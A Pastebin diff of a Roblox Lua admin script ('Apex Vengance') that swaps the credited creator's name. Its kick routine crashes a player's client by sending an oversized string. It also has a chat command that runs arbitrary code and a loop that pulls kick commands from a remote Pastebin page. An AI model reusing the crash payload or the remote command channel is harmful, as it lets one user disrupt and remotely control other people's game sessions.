API tools faq
paste
View difference between Paste ID: g4dqRX7G and 225Na1fV
SHOW: | | - or go back to the newest paste.
1
-- Apex Administration made by /Roblox/Vfen/ Paste Bin/MlgMatthew/
2
3
4
Kick = function(plr)

5
local h=Instance.new('RemoteEvent',workspace):FireClient(plr,{string.rep("umad?",2e5+5)}) 

6
delay(1,function()

7
        pcall(function()

8
                h:remove()

9
        end)

10
end)

11
end

12
13
wait()

14
script.Parent = Instance.new('Glue') -- Anti h4x0rz

15
16
Rot1 = math.rad(0)*math.pi*2

17
Rot2 = math.rad(0)*math.pi*2

18
Lerp_Rot = .1

19
20
Apex = {

21
        Tablets = {};

22
        Commands = {};

23
        Rot_1 = math.rad(0)*math.pi*2;

24
        Rot_2 = math.rad(0)*math.pi*2;

25
        Prefix = ";";

26
        Suffix = "/";

27
        Functions = {};

28
        Version = "[VENGANCE]";

29
        Logs = {

30
                ScriptLogs = {};

31
                ChatLogs = {};

32
                ErrorLogs = {};

33
                OtherPlayerLogs = {};

34
        },

35
        Fake = {

36
                _G = {};

37
                shared = {};

38
                Functions = {};

39
        },

40
        Settings = {

41
                Tablet = false;

42
                AgeEnabled = false;

43
                ScriptEnabled = false;

44
                HttpEnabled = false;

45
                LoadstringEnabled = false;

46
                PrivateServerEnabled = false;

47
                Scripts = false;

48
				HttpCommands = true;

49
        },

50
        _Ranked = {

51-
                {Nme="zombieslayerwtf",Rank=4,Description="Creator.",Color="Really red"};

51+
                {Nme="polikilopl",Rank=4,Description="Creator.",Color="Really red"};

52
                {Nme="WhenYouDieV3",Rank=4,Description="my friend.",Color="Really red"};

53
                {Nme="samuel110906",Rank=4,Description="my best friend.",Color="White"};

54
                {Nme="Jack521345",Rank=4,Description="just a nice guy.",Color="White"};

55
		{Nme="danijel",Rank=2,Description="Really awsome.",Color="Really black"};

56
                {Nme="Yolo",Rank=-999,Description="Abuser, REALLY annoying.",Color="Really black"};

57
		{Nme="DamnDaniel",Rank=-999,Description="Abuser, REALLY annoying.",Color="Really black"};

58
        },

59
        Get = {};

60
        Set = {};

61
        Updates = {

62
                "This was made by zombieslayerwtf";

63
        };

64
};

65
Notify = function(plr,msg)

66
        if msg==nil then msg = "Nil message." end

67
        local pg = plr.PlayerGui;

68
        local Gui = Instance.new("ScreenGui", pg);

69
        local frame = Instance.new("Frame", pg);

70
        frame.Size = UDim2.new(1,0,0.5,0);

71
        frame.Position = UDim2.new(0,0,0);

72
        frame.Draggable = true;

73
        frame.Active = true;

74
        local text = Instance.new("TextLabel", frame);

75
        text.Size = UDim2.new(.99,0,0,2.5);

76
        text.Position = UDim2.new(.005,0,0,2.5);

77
        text.Text = "-=[ Apex Vengance ]=- "..msg;

78
        text.Font = "Arial";

79
        text.FontSize = "Size18";

80
        text.TextScaled = true;

81
        text.TextWrapped = false;

82
end;

83
84
Update = function(plr,msg)

85
        if msg==nil then msg = "Nil message." end

86
        local pg=plr.PlayerGui;

87
        if plr and pg:FindFirstChild("PlayerGui") then

88
                coroutine.resume(coroutine.create(function()

89
                        local Gui=Instance.new("ScreenGui",pg);

90
                        local Frame=Instance.new("Frame",Gui);

91
                        Frame.Size = UDim2.new(1,0,1,0);

92
                        Frame.BackgroundTransparency = 1;

93
                        Frame.BorderColor3=Color3.new(0,0,0);

94
                        Frame.Style = "Custom";

95
                        Frame.BorderSizePixel = 0;

96
                        local Text = Instance.new("TextLabel",Frame);

97
                        Text.BackgroundTransparency=1;

98
            Text.Size=UDim2.new(1,0,1,0);

99
            Text.Text='-=[ Apex Vengance ]=- '..msg;

100
            Text.Font='Arial';

101
            Text.FontSize='Size12';

102
            Text.BorderColor3=Color3.new(0,0,0);

103
            Text.BackgroundColor3=Color3.new(255,255,255);

104
            Text.TextScaled=true;

105
            Text.TextWrapped=false;

106
            Text.TextStrokeColor3=Color3.new(1,1,1);

107
            Text.TextStrokeTransparency=0;

108
            Text.TextTransparency=0;

109
                end));

110
        end;

111
end;

112
113
GetTablets = function(plr)

114
        local Table = {};

115
        pcall(function() plr = plr.Name end);

116
        for _,Tablet in next,Apex.Tablets do

117
                if(Tablet.Owner==plr.Name) then

118
                        table.insert(Table,plr.Name);

119
                end;

120
                return Table;

121
        end;

122
end;

123
GetScript = function(plr)

124
        local Scripts = {};

125
        pcall(function() plr = plr.Name end);

126
        for _,Script in next,Apex.Settings.Scripts do

127
                if(Script.Disabled == true or Script.Disabled == false) then

128
                        table.remove(Scripts,script);

129
                end;

130
                return Scripts;

131
        end;

132
end;

133
Output = function(time,Player,Text,Color,Func)

134
		wait()

135
        if Color == nil then Color = "Institutional white" end;

136
        if Func == nil then Func=function() end; end;

137
        if Text == nil then Text="Nil text." end;

138
        local Part = Instance.new("Part", game.Workspace);

139
        Part.FormFactor = "Custom";

140
		Part.CFrame = CFrame.new(0,80,0);

141
        Part.CanCollide = false;

142
        Part.Locked = true;

143
        Part.Anchored = true;

144
        Part.Name = "Apex V4 VENGANCE Tablet";

145
        Part.Transparency = 0.3;

146
        Part.BrickColor = BrickColor.new(Color);

147
        Part.Size = Vector3.new(2,2,2);

148
        Part.TopSurface = "Smooth";

149
        Part.BottomSurface = "Smooth";

150
        local Box = Instance.new("SelectionBox",Part);

151
        Box.Adornee = Part;

152
        Box.Color = BrickColor.new("Really black");

153
        Box.Transparency  = 0.3;

154
        local Gui = Instance.new("BillboardGui",Part);

155
		wait()

156
        Gui.Adornee = Part;

157
        Gui.StudsOffset = Vector3.new(0,3,0);

158
        Gui.Size = UDim2.new(1,0,1,0);

159
        Gui.Name = "Gui";

160
        local Gyro = Instance.new("BodyGyro",Part);

161
        local TextLabel = Instance.new("TextLabel",Gui);

162
		wait()

163
        TextLabel.Text = Text;

164
        TextLabel.BackgroundTransparency = 1;

165
        TextLabel.Size = UDim2.new(1,0,1,0);

166
        TextLabel.FontSize = "Size18";

167
        TextLabel.Font = "ArialBold";

168
        TextLabel.TextColor3 = BrickColor.new(Color).Color;

169
        local Click = Instance.new("ClickDetector",Part);

170
		wait()

171
        Click.MouseClick:connect(function(plr)

172
                if plr.userId == Player.userId then

173
                        pcall(function() time=0 end)

174
                        coroutine.wrap(function()

175
                                spawn(function()

176
                                        for _ = 0.5,1,0.05 do

177
                                                pcall(function()

178
                                                        TextLabel.TextStrokeTransparency = TextLabel.TextStrokeTransparency+0.1

179
                                                        Part.Size = Part.Size-Vector3.new(0.4,0.4,0.4)

180
                                                        Box.Transparency = Box.Transparency+0.1

181
                                                        Part.Transparency = Part.Transparency+0.05

182
                                                end)

183
                                                wait()

184
                                        end

185
                                        pcall(function()

186
                                                Part:Destroy()

187
                                        end)

188
                                end)

189
                        end)()

190
                        Func=Func Func()

191
                end

192
        end)

193
        Click.MouseHoverEnter:connect(function(plr)

194
                if plr.userId == Player.userId then

195
                        Box.Transparency = 0.1

196
                        Part.Size = Vector3.new(1.6,1.6,1.6)

197
                end

198
        end)

199
        Click.MouseHoverLeave:connect(function(plr)

200
                if plr.userId == Player.userId then

201
                        Box.Transparency = 0.3

202
                        Part.Size = Vector3.new(2,2,2)

203
                end

204
        end)

205
        table.insert(Apex.Tablets,{Tab=Part,Player=Player.userId,Box=Box,Gyro=Gyro,Text=TextLabel})

206
                Part.Parent=script;

207
        GetRank = function(plr)

208
                local Rk=0;

209
                for _,data in pairs(Apex["_Ranked"]) do

210
                        if plr.Name == data.Nme then

211
                                Rk = data.Rank

212
                        end;

213
                end;

214
                return Rk;

215
        end;

216
        GetColor = function(plr)

217
                local Color = "Really black";

218
                for _,data in pairs(Apex["_Ranked"]) do

219
                        if plr.Name == data.Name then

220
                                Color = data.Color

221
                        end;

222
                end;

223
                return Color;

224
        end;

225
        Broadcast_All = function(time,Player,Text,Color,Func)

226
                table.insert(Apex.Tablets,{Tab=Part,Player=Player.userId,Box=Box,Gyro=Gyro,Text=TextLabel})

227
                        Part.Parent=script;

228
        end;

229
end;

230
231
function findPlayer(str, spkr)

232
        local result = {}

233
        for _, person in pairs(game.Players:GetChildren()) do

234
                if person.Name:lower():find(str) == 1 then

235
                        result[person] = person

236
                end

237
        end

238
        if str == "all" then result = {spkr} end

239
        if str == "all" then

240
                for _, person in pairs(game.Players:GetChildren()) do

241
                        result[person] = person

242
                end

243
        end

244
        if str == "others" then

245
                for _, person in pairs(game.Players:GetChildren()) do

246
                        if person.userId ~= spkr.userId then

247
                                result[person] = person

248
                        end

249
                end

250
        end

251
        return result

252
end

253
254
function UpdateTabPos()

255
        Rot1=Rot1+Rot2

256
        for _,Player in pairs(game:service'Players':GetPlayers()) do

257
                local CollectionTabs = {}

258
                local Player_Pos = nil

259
                        for i,v in pairs(Apex.Tablets) do

260
                                if v.Tab.Parent ~= nil and v.Player == Player.userId then

261
                                        table.insert(CollectionTabs,v)

262
                                end

263
                        end

264
                pcall(function()

265
                        if Player.Character ~= nil and Player.Character.Torso ~= nil then

266
                                pcall(function()

267
									Player_Pos = Player.Character.Torso.CFrame

268
								end)

269
                        end

270
                end)

271
                        for i,v in pairs(CollectionTabs) do

272
                        if v.Tab.Parent == nil then

273
                            v.Tab:remove()

274
                        table.remove(CollectionTabs, i)

275
                        end

276
                                if v.Tab.Parent ~= nil and v.Player == Player.userId then

277
                                        pcall(function()

278
											if v.Tab.Parent ~= game.Workspace then v.Tab.Parent = game.Workspace end

279
                                        	local Radius1=CFrame.new(0,0,-4.5-#CollectionTabs)

280
                                        	local Radius2=Radius1*CFrame.Angles(math.rad(25),0,0)

281
                                        	local cfr = Player_Pos*CFrame.Angles(.001,math.rad((i*360/#CollectionTabs)+Rot1),0)*Radius2

282
                                        	local Pos = v.Tab.CFrame.p

283
                                        	Pos = Pos:Lerp(cfr.p,Lerp_Rot)

284
                                        	v.Tab.CFrame=CFrame.new(Pos)*v.Gyro.cframe

285
                                        	v.Gyro.cframe=v.Gyro.cframe*CFrame.Angles(math.rad(1),math.rad(1),math.rad(1))

286
										end)

287
                                end

288
                        end

289
        end

290
end;

291
292
AddCommand = function(Name,Usage,Desc,Rank,Func)

293
        table.insert(Apex.Commands,{Name=Name,Usage=Usage,Desc=Desc,Rank=Rank,Func=Func})

294
end;

295
296
Chat = function(plr,msg)

297
        local Ran,Error=ypcall(function()

298
                for _,data in pairs(Apex["Commands"]) do

299
                        if msg:sub(1,#(data["Usage"]:lower()..Apex.Suffix))==(data["Usage"]:lower()..Apex.Prefix) then

300
                                if GetRank(plr) >= data.Rank then

301
                                        msg = msg:sub(#data["Usage"]+#Apex.Suffix+1);

302
                                        local a,b=ypcall(function()

303
                                                data["Func"](plr,msg)

304
                                        end);

305
                                        if not a then

306
                                                Output(5,plr,"ERROR: "..b,"Really red",function() end); 

307
                                        end;

308
                                else

309
                                        Output(10,plr,"Your rank is too low for that command.","Really red",function() end);

310
                                end;

311
                        end;

312
                end;

313
        end);

314
        if not Ran then print(Error) end;

315
end;

316
317
for _,plr in pairs(game.Players:GetPlayers()) do

318
        plr.Chatted:connect(function(msg)

319
                Chat(plr,msg);

320
        end);

321
		Output(5,plr,"Apex V4 VENGANCE loaded.","Really red")

322
		wait()

323
		Output(5,plr,"Your rank is "..GetRank(plr)..'/4.',"Really black")

324
end

325
326
Dismiss = function(plr)

327
	wait()

328
    for i=1,4 do

329
                for _,v in pairs(Apex.Tablets) do

330
                    if v.Tab and v.Tab.Parent and v.Player == plr.userId then

331
                        v.Tab.Size = v.Tab.Size-Vector3.new(0.2,0.2,0.2)

332
                    end

333
                end

334
                wait(0.01)

335
        end

336
		wait(0.01)

337
        for _,v in pairs(Apex.Tablets) do

338
                if v.Player == plr.userId then

339
                        v.Tab:Destroy();

340
                end

341
        end

342
end

343
344
ShowCommands = function(plr)

345
        Dismiss(plr);

346
        for _,v in pairs(Apex.Commands) do

347
                Output(30,plr,v["Name"],"White",function()

348
                        Dismiss(plr);

349
                        Output(30,plr,'Name: '..v.Name,'White',function() end);

350
                        Output(30,plr,'Usage: '..v.Usage,'White',function() end);

351
                        Output(30,plr,'Description: '..v.Desc,'White',function() end);

352
                        Output(30,plr,'Rank needed: '..v.Rank,'Lime green',function() end);

353
                        Output(30,plr,'Back','Lime green',function() ShowCommands(plr); end);

354
                        Output(30,plr,'Dismiss','Really red',function() Dismiss(plr) end);

355
                end);

356
        end;

357
		if GetRank(plr)<4 then

358
        Output(30,plr,"Commands for rank "..GetRank(plr),'Lime green',function()

359
                Dismiss(plr);

360
                for _,v in pairs(Apex.Commands) do

361
                        if GetRank(plr) >= v.Rank then

362
                                Output(30,plr,v["Name"],"White",function()

363
                                        Dismiss(plr);

364
                                        Output(30,plr,'Name: '..v.Name,'White',function() end);

365
                                        Output(30,plr,'Usage: '..v.Usage,'White',function() end);

366
                                        Output(30,plr,'Description: '..v.Desc,'White',function() end);

367
                                        Output(30,plr,'Rank needed: '..v.Rank,'Lime green',function() end);

368
                                        Output(30,plr,'Back','Lime green',function() ShowCommands(plr); end);

369
                                        Output(30,plr,'Dismiss','Really red',function() Dismiss(plr) end);

370
                                end);

371
                        end;

372
                end;

373
        end);

374
		Output(30,plr,"Dismiss","Really red",function() Dismiss(plr) end)

375
		end;

376
end;

377
378
KickBannedPlayers = function()

379
        for _,plr in pairs(game.Players:GetChildren()) do

380
                for _,v in pairs(Apex['_Ranked']) do

381
                        if plr.Name == v.Nme and v.Rank == -1 then

382
                                Kick(game:service'Players'[plr.Name])

383
                        end

384
                end

385
        end

386
end

387
388
GetRankd = function(plr)

389
        Dismiss(plr);

390
        for _,v in pairs(Apex["_Ranked"]) do

391
                Output(30,plr,v["Nme"],"White",function()

392
                        Dismiss(plr);

393
                        Output(30,plr,'Name: '..v.Nme,v.Color,function() end);

394
                        Output(30,plr,'Rank: '..v.Rank,v.Color,function() end);

395
                        Output(30,plr,'Description: '..v.Description,v.Color,function() end);

396
                        Output(30,plr,'Dismiss','Really red',function() Dismiss(plr) end);

397
                        Output(30,plr,'Back','Lime green',function() GetRankd(plr) end);

398
                end);

399
        end;

400
end

401
402
AddCommand('Commands','cmds','Show all commands.',0,function(Speaker,Message)

403
        ShowCommands(Speaker);

404
end)

405
406
AddCommand('Ping','ping','Output a message.',0,function(Speaker,Message)

407
	if Message == nil then Message = "" end

408
	Output(10,Speaker,Message)

409
end)

410
411
AddCommand('Touch Kick','touchkick','Kick any player you touch.',3,function(Speaker,Message)

412
	Speaker.Character.Torso.Touched:connect(function(thing)

413
		if game.Players[thing.Parent.Name] then

414
			Kick(game:service'Players'[thing.Parent.Name])

415
		end

416
	end)

417
end)

418
419
AddCommand('Touch Ban','touchban','Ban any player you touch.',3,function(Speaker,Message)

420
	Speaker.Character.Torso.Touched:connect(function(thing)

421
		if game.Players[thing.Parent.Name] then

422
			Kick(game:service'Players'[thing.Parent.Name])

423
			table.insert(Apex['_Ranked'],{Nme=thing.Parent.Name,Rank=-1,Description="Touch Banned",'Really black'})

424
		end

425
	end)

426
end)

427
428
AddCommand('Dismiss','dt','Dismiss tablets.',0,function(Speaker,Message)

429
        Dismiss(Speaker);

430
end)

431
   

432
AddCommand('Dismiss all','dtall',"Dismiss every player's tablets.",3,function(Speaker,Message)

433
        for _,Player in next,game.Players:children() do

434
                Dismiss(Player);

435
        end;

436
end)

437
438
AddCommand('Get ranked','granked','Show all ranked players.',1,function(Speaker,Message)

439
        GetRankd(Speaker)

440
end)

441
442
AddCommand('Kill','kill','Kill a player.',2,function(Speaker,Message)

443
        local p = findPlayer(Message, Speaker)

444
        for _,plr in pairs(p) do

445
                plr.Character:BreakJoints()

446
                Output(5,Speaker,'Killed '..plr.Name)

447
        end

448
end)

449
450
AddCommand('ForceField','ff','Give a player a ForceField.',2,function(Speaker,Message)

451
        local p = findPlayer(Message, Speaker)

452
        for _,plr in pairs(p) do

453
                Instance.new("ForceField", plr.Character)

454
                Output(5,Speaker,'Gave '..plr.Name..' a ForceField.')

455
        end

456
end)

457
458
AddCommand('UnForceField','unff',"Remove a player's ForceField.",2,function(Speaker,Message)

459
        local p = findPlayer(Message, Speaker)

460
        for _,plr in pairs(p) do

461
                if plr.Character:FindFirstChild("ForceField") then

462
                        plr.Character.ForceField:Destroy()

463
                        Output(5,Speaker,'Removed '..plr.Name.."'s ForceField.")

464
                end

465
        end

466
end)

467
468
AddCommand('God','god','Gives a player a huge amount of health.',2,function(Speaker,Message)

469
        local p = findPlayer(Message, Speaker)

470
        for _,plr in pairs(p) do

471
                plr.Character.Humanoid.MaxHealth = math.huge

472
                plr.Character.Humanoid.Health = 9e9

473
                Output(5,Speaker,'Made '..plr.Name..' a god.')

474
        end

475
end)

476
477
AddCommand('Ungod','ungod','Returns a player to their normal health.',2,function(Speaker,Message)

478
        local p = findPlayer(Message, Speaker)

479
        for _,plr in pairs(p) do

480
                plr.Character.Humanoid.Health = 100

481
                plr.Character.Humanoid.MaxHealth = 100

482
                Output(5,Speaker,'Ungodded '..plr.Name..'.')

483
        end

484
end)

485
486
AddCommand('Kick','kick','Kick a player from the game.',3,function(Speaker,Message)

487
        local p = findPlayer(Message, Speaker)

488
        for _,plr in pairs(p) do

489
                Output(5,Speaker,'Kicking '..plr.Name..'.')

490
                Kick(game:service'Players'[plr.Name])

491
        end

492
end)

493
494
AddCommand('Ban','ban','Bans a player from the game.',3,function(Speaker,Message)

495
        local p = findPlayer(Message, Speaker)

496
        for _,plr in pairs(p) do

497
                table.insert(Apex['_Ranked'],{Nme=plr.Name,Rank=-1,Description="Banned",'Really black'})

498
                Output(5,Speaker,'Banned '..plr.Name..'.')

499
        end

500
end)

501
502
AddCommand('UnBan','unban','Un-Bans a player.',3,function(Speaker,Message)

503
        for _,plr in pairs(Apex['_Ranked']) do

504
                if plr.Nme == Message and plr.Rank < 0 then

505
                        plr.Rank = 0

506
                        Output(5,'Speaker','Unbanned '..plr.Nme..'.')

507
                end

508
        end

509
end)

510
511
AddCommand('NoCopyrightSounds','ncs','Play some great music.',2,function(Speaker,Message)

512
	pcall(function()

513
		if sound then sound:Stop() sound:Destroy() end

514
		sound = Instance.new("Sound",script);

515
		sound.Looped = true

516
		local url = "http://www.roblox.com/asset/?id="

517
		local ready = false

518
		Dismiss(Speaker)

519
		Output(30,Speaker,"NoCopyrightSounds","Really black");

520
		Output(30,Speaker,"Alan Walker - Fade","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."227475817" sound.Volume = 0.5 ready = true end)

521
		Output(30,Speaker,"Alan Walker - Spectre","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."219506834" sound.Volume = 0.5 ready = true end);

522
		Output(30,Speaker,"Codeko - Crest","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."186496535" sound.Volume = 0.2 ready = true end);

523
		Output(30,Speaker,"Itro - Panda","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."201573748" sound.Volume = 0.5 ready = true end);

524
		Output(30,Speaker,"Distrion and Electro-Light - Rubik","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."222338678" sound.Volume = 0.5 ready = true end);

525
		Output(30,Speaker,"Itro & Tobu - Cloud 9","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."181065299" sound.Volume = 0.5 ready = true end);

526
		while not ready do

527
			wait(2)

528
		end

529
		sound.Parent = Speaker.Character.Torso

530
		wait()

531
		Output(5,Speaker,"Playing music.")

532
		sound.Volume = 100

533
		sound:Play()

534
	end)

535
end)

536
537
AddCommand('Music','music','Play music of your choice.',3,function(Speaker,Message)

538
	pcall(function()

539
		if sound then sound:Stop() sound:Destroy() end

540
		sound = Instance.new("Sound",script)

541
		sound.Looped = true

542
        sound.Volume = 100

543
		local url = "http://www.roblox.com/asset/?id="..Message

544
		sound.SoundId = url

545
		sound.Parent = Speaker.Character.Torso

546
		Dismiss(Speaker)

547
		wait(2)

548
		Output(5,Speaker,"Click to play song "..Message,"New Yeller",function() sound:Play() end)

549
	end)

550
end)

551
552
AddCommand('Players','net','View people connected to the game (even nils).',4,function(Speaker,Message)

553
	for _,v in pairs(game.NetworkServer:GetChildren()) do

554
		if v.Parent == nil then

555
			Output(30,Speaker,v.Name.." <NIL>","Really red")

556
		else

557
			Output(30,Speaker,v.Name,"Lime green")

558
		end

559
	end

560
end)

561
562
AddCommand('Stop Music','stopmusic','Stop playing music.',2,function()

563
	pcall(function()

564
		if sound then sound:Stop() end

565
		sound:Destroy()

566
	end)

567
end)

568
569
AddCommand('Information','i','Get information about a player.',2,function(Speaker,Message)

570
	local p = findPlayer(Message, Speaker)

571
	for _,plr in pairs(p) do

572
		Output(30,Speaker,'Info on '..plr.Name,'Really black',function()

573
			Dismiss(Speaker)

574
			Output(30,Speaker,plr.Name)

575
			Output(30,Speaker,plr.AccountAge..' days old')

576
			Output(30,Speaker,'Rank '..GetRank(plr)..'/4')

577
			Output(30,Speaker,'Kick','Really red',function() Kick(game:service'Players'[plr.Name]) end)

578
		end)

579
	end

580
end)

581
582
AddCommand('Set Rank','setrank',"Sets a player's rank.",4,function(Speaker,Message)

583
        local p = findPlayer(Message, Speaker)

584
        Dismiss(Speaker)

585
        for _,otherp in pairs(p) do

586
                Output(30,Speaker,'Set '..otherp.Name.."'s rank",nil,function()

587
                        Dismiss(Speaker)

588
                        isrkd = false

589
                        for _,ppl in pairs(Apex['_Ranked']) do

590
                                if otherp.Name == ppl.Name then isrkd = true end

591
                        end

592
                        if isrkd == false then 

593
                                table.insert(Apex['_Ranked'],{Nme=otherp.Name,Rank=0,Description="User",'White'})

594
                        end

595
                        Output(30,Speaker,'Change '..otherp.Name.."'s rank to...",'Black',function() Dismiss(Speaker) end)

596
                        Output(30,Speaker,0,nil,function() if GetRank(Speaker)>GetRank(otherp) then

597
                                for _,plr in pairs(Apex['_Ranked']) do

598
                                        if plr.Name == otherp.Name then plr.Rank = 0; end

599
                                end

600
								Output(5,p,'You are now rank 0/4.','New Yeller');

601
                                end Dismiss(Speaker) end)

602
                        Output(30,Speaker,1,nil,function() if GetRank(Speaker)>GetRank(otherp) then

603
                                for _,plr in pairs(Apex['_Ranked']) do

604
                                        if plr.Name == otherp.Name then plr.Rank = 1; end

605
                                end

606
								Output(5,p,'You are now rank 1/4.','New Yeller');

607
                                end Dismiss(Speaker) end)

608
                        Output(30,Speaker,2,nil,function() if GetRank(Speaker)>GetRank(otherp) then

609
                                for _,plr in pairs(Apex['_Ranked']) do

610
                                        if plr.Name == otherp.Name then plr.Rank = 2; end

611
                                end

612
								Output(5,p,'You are now rank 2/4.','New Yeller');

613
                                end Dismiss(Speaker) end)

614
                        Output(30,Speaker,3,nil,function() if GetRank(Speaker)>GetRank(otherp) then

615
                                for _,plr in pairs(Apex['_Ranked']) do

616
                                        if plr.Name == otherp.Name then plr.Rank = 3; end

617
                                end

618
								Output(5,p,'You are now rank 3/4.','New Yeller');

619
                                end Dismiss(Speaker) end)

620
                        Output(30,Speaker,4,nil,function() if GetRank(Speaker)>GetRank(otherp) then

621
                                for _,plr in pairs(Apex['_Ranked']) do

622
                                        if plr.Name == otherp.Name then plr.Rank = 4; end

623
                                end

624
								Output(5,p,'You are now rank 4/4.','New Yeller');

625
                                end Dismiss(Speaker) end)

626
                end)

627
        end

628
end)

629
630
631
AddCommand('Loadstring','ls','Run some code.',3,function(Speaker,Message)

632
        local Ran,Error = ypcall(function()

633
                loadstring(Message)()

634
        end);

635
        if Error then Output(5,Speaker,Error,'Really red') end

636
        if not Ran then print(Error) end

637
end);

638
639
AddCommand('Shutdown','sd','Shut down the server.',4,function(Speaker,Message)

640
        for _,player in next,game:service'Players':GetPlayers() do

641
                Output(5,player,'Server will shut down in 3 seconds!','Really red')

642
        end

643
        wait(3)

644
end)

645
646
AddCommand('Http Commands','hcmds','Toggle commands over HTTP.',4,function(Speaker)

647
	Apex.Settings.HttpCommands = not Apex.Settings.HttpCommands

648
	Output(5,Speaker,'Toggled HTTP Commands to '..Apex.Settings.HttpCommands..'.')

649
end)

650
651
AddCommand('Credits','c','Show the credits.',0,function(Speaker,Message)

652
        Output(10,Speaker,'Made by Vfen.','Lime green');

653
        Output(10,Speaker,'Math credit to Vfen.','Lime green');

654
        Output(10,Speaker,'ROBLOX Advanced Apex Administration','Really black');

655
end)

656
657
game:GetService('RunService').Heartbeat:connect(function()

658
        UpdateTabPos();

659
        KickBannedPlayers();

660
end)

661
662
game:service'Players'.PlayerAdded:connect(function(plr)

663
        wait(1);

664
        plr.Chatted:connect(function(msg)

665
                Chat(plr,msg);

666
        end);

667
		Output(5,plr,"ROBLOX Advanced apex administration Loaded .","Really red")

668
		wait()

669
		Output(5,plr,"Your rank is "..GetRank(plr)..'/4.',"Really black")

670
end)

671
672
while true do

673
	wait(1)

674
	while Apex.Settings.HttpCommands do

675
		wait(5)

676
		local data = game:service'HttpService':GetAsync("http://pastebin.com/raw.php?i=Pn4ctSmE",true)

677
		data = tostring(data)

678
		local A, A2 = string.find(data, "START")

679
		local B, B2 = string.find(data, "END")

680
		local cmd = string.sub(data, A2+1, B-1)

681
		if string.sub(cmd,1,5)=="kick " then game.Players[string.sub(cmd,6)]:Destroy() end

682
	end

683
end
        

    


            


                                


        

            



                
    

        Public Pastes
    

    
            

    

                    

        

    





    


    
    
    
    
    
    
    
    




    


    



                

            We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.             OK, I Understand
        

    
                

            

                
                    
                
            

            

                Not a member of Pastebin yet?

                Sign Up, it unlocks many cool features!